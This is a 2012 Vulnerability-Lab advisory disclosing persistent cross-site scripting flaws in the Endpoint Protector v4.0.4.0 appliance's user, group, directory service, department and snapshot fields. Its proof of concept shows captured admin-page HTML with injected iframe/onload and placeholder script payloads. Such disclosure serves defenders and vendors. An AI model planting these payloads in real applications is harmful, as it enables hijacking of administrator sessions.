192 lines
No EOL
8.5 KiB
Text
192 lines
No EOL
8.5 KiB
Text
Title:
|
||
======
|
||
Endpoint Protector v4.0.4.0 - Multiple Web Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-10-01
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=571
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
571
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
5
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
Endpoint Protector 4 protect your network from the threats posed by portable storage devices. Portable devices such
|
||
as USB flash drives and smartphones may cause severe issues when it comes to controlling data use within and outside
|
||
the company. As a full DLP product, Endpoint Protector 4 prevents users from taking unauthorized data outside the
|
||
company or bringing potential harmful files on USB devices, files which can have a significant impact
|
||
on your network’s health.
|
||
|
||
(Copy of the Vendor Homepage: http://www.endpointprotector.com/products/endpoint_protector )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered multiple Web Vulnerabilities in the Endpoint Protector v4.0.4.0 Appliance.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-05-13: Researcher Notification & Coordination
|
||
2012-05-15: Vendor Notification
|
||
2012-05-20: Vendor Response/Feedback
|
||
2012-**-**: Vendor Fix/Patch
|
||
2012-10-01: Public or Non-Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
Endpoint
|
||
Product: Protector v4.0.4.0
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
High
|
||
|
||
|
||
Details:
|
||
========
|
||
Multiple persistent input validation vulnerabilities are detected in Endpoint Protector v4.0.4.0 Appliance Application.
|
||
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
|
||
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
|
||
context manipulation. Exploitation requires low user inter action. The bug is located on the listing of the username
|
||
& description result pages. The bug affect all result listings inside of the application and all username and description
|
||
input fields. Another issues is located in the Domain Controller Name of the Directory Service & in the name, host +
|
||
description of the department or snapshot configuration.
|
||
|
||
|
||
Vulnerable Module(s):
|
||
[+] Directory Service > Active Directory Import, Active Directory Deployment & AD Sync > Domain Controller Server Name
|
||
[+] EndPoint Management > Users, Groups, Computers & Devices > Username, First Name, Last Name, Department, Phone & E-mail
|
||
[+] System Maintance > System Snapshots > List Available Snapshots > Name & Description
|
||
[+] System Configuration > System Departments > Edit Department > Name & Description
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
The persistent vulnerabilities can be exploited by remote attacker with low privileged user account or via medium or high required user inter action.
|
||
For demonstration or reproduce ...
|
||
|
||
Review: Groups Management Listing
|
||
|
||
<tr class="sf_admin_row_0_hover" style="border-left: 1px solid rgb(239, 239, 239);" onmouseover="this.className='sf_admin_row_0_hover'" onmouseout="this.className='sf_admin_row_0'" onmouseup="whichButton(event, this, 'id', '4' );return false">
|
||
<td>"><iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20Tool-Dateien/a.htm" onload='alert("VL")' <="" td="">
|
||
<td>"><[PERSISTENT SCRIPT CODE CONTEXT EXECUTION!] < </td>
|
||
<td>Taylor </td>
|
||
<td>Default Department </td>
|
||
<td> </td>
|
||
<td> </td>
|
||
<td>13-May-2012 05:08:24 </td>
|
||
<td>demo </td>
|
||
|
||
|
||
Review: User Management Listing
|
||
|
||
<tr class="sf_admin_row_1_hover" style="border-left: 1px solid rgb(239, 239, 239);" onmouseover="this.className='sf_admin_row_1_hover'" onmouseout="this.className='sf_admin_row_1'" onmouseup="whichButton(event, this, 'id', '4' );return false">
|
||
<td>bla </td>
|
||
<td>>"<iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20Tool-2-Dateien/index.htm">
|
||
</td>
|
||
<td>>"<[PERSISTENT SCRIPT CODE CONTEXT EXECUTION!]> </td>
|
||
<td>Default Department </td>
|
||
<td> </td>
|
||
<td> </td>
|
||
<td>13-May-2012 05:19:02 </td>
|
||
<td>test </td>
|
||
<td>
|
||
|
||
|
||
|
||
Review: Active Directory Import - Domain Controller Name
|
||
|
||
<div id="ext-genlist4" class="x-panel-bwrap">
|
||
<div class="x-panel-ml">
|
||
<div class="x-panel-mr">
|
||
<div class="x-panel-mc">
|
||
<div style="width: 100%;height:300px" id="ext-genlist5" class="x-panel-body">
|
||
<div style="height:270px;display:block" align="left">
|
||
|
||
<div class="form-row">
|
||
<label for="active_directory_server_name" style="width: 250px">Domain Controller Server Name:</label> <div class="content">
|
||
<input name="active_directory[domaincontroller]" type="text"><iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20Tool-6-[PERSISTENT SCRIPT CODE CONTEXT EXECUTION!]' <"="" size="30">
|
||
Example: w2003server
|
||
</div>
|
||
|
||
|
||
|
||
Review: List of Computers, Users or Groups in Details Edit Checklist Name
|
||
|
||
<ul class="sf_admin_checklist">
|
||
<li><input name="associated_group[]" id="associated_group_1" value="1" type="checkbox"> <label for="associated_group_1">sali</label></li>
|
||
<li><input name="associated_group[]" id="associated_group_2" value="2" type="checkbox"> <label for="associated_group_2">allow</label></li>
|
||
<li><input name="associated_group[]" id="associated_group_3" value="3" type="checkbox"> <label for="associated_group_3">IT Support</label></li>
|
||
<li><input name="associated_group[]" id="associated_group_4" value="4" type="checkbox"> <label for="associated_group_4">allowvpn</label></li>
|
||
<li><input name="associated_group[]" id="associated_group_5" value="5" type="checkbox"> <label for="associated_group_5">Gruppe-No-USB</label></li>
|
||
<li><input name="associated_group[]" id="associated_group_6" value="6" type="checkbox"> <label for="associated_group_6">"><iframe src="Endpoint%20Protector%204%20-%20Reporting%20and%20Administration%20Tool-5-[PERSISTENT SCRIPT CODE CONTEXT EXECUTION!]' <<="" label=""></li>
|
||
</ul>
|
||
|
||
|
||
Risk:
|
||
=====
|
||
The security risk of the persistent input validation vulnerabilities are estimated as high(-).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||
or trade with fraud/stolen material.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
|
||
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright © 2012 | Vulnerability Laboratory
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY RESEARCH LABORATORY
|
||
LABORATORY RESEARCH TEAM
|
||
CONTACT: research@vulnerability-lab.com |